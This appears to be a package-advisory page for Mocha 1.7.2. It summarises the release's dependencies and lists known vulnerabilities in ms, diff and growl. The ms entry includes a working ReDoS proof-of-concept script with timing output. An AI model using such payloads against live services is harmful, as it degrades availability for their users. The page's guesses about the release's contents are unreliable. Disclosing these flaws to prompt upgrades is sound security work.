Mocha, the popular and versatile JavaScript test framework, saw a minor version bump from 1.7.1 to 1.7.2 in late November 2012. While the core description remains consistent – a "simple, flexible, fun test framework" – the update, released on November 29th, 2012, introduces subtle improvements for developers. Examining the metadata, the dependency tree stays identical: robust components like ms for time conversions, diff for comparing results, jade for templating, debug for enhanced logging, growl for desktop notifications, mkdirp for creating directories, and commander for command-line argument parsing remain unchanged. Similarly, the development dependencies, should for expressive assertions and coffee-script for those preferring that syntax, are also consistent.
The key difference lies in the release date, six days separating the two. This suggests that version 1.7.2 likely contains bug fixes, minor tweaks, or internal improvements that don't necessitate changes to the listed core dependencies. For developers using Mocha, upgrading from 1.7.1 to 1.7.2 should be a straightforward process with a reduced risk of breaking changes, while potentially benefiting from increased stability or performance enhancements implemented under the hood. Both versions benefit from the same solid foundation, complete with source code hosted on GitHub and authored by TJ Holowaychuk, ensuring a reliable testing experience.
All the vulnerabilities related to the version 1.7.2 of the package
Regular Expression Denial of Service in ms
Versions of ms
prior to 0.7.1 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.
var ms = require('ms');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
ms(genstr(process.argv[2], "5") + " minutea");
Showing increase in execution time based on the input string.
$ time node ms.js 10000
real 0m0.758s
user 0m0.724s
sys 0m0.031s
$ time node ms.js 20000
real 0m2.580s
user 0m2.494s
sys 0m0.047s
$ time node ms.js 30000
real 0m5.747s
user 0m5.483s
sys 0m0.080s
$ time node ms.js 80000
real 0m41.022s
user 0m38.894s
sys 0m0.529s
Vercel ms Inefficient Regular Expression Complexity vulnerability
A vulnerability, which was classified as problematic, has been found in vercel ms up to 1.x. This issue affects the function parse of the file index.js. The manipulation of the argument str leads to inefficient regular expression complexity. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 2.0.0 is able to address this issue. The name of the patch is caae2988ba2a37765d055c4eee63d383320ee662. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-217451.
Regular Expression Denial of Service (ReDoS)
A vulnerability was found in diff before v3.5.0, the affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) attacks.
Growl before 1.10.0 vulnerable to Command Injection
Affected versions of growl
do not properly sanitize input prior to passing it into a shell command, allowing for arbitrary command execution.
Update to version 1.10.0 or later.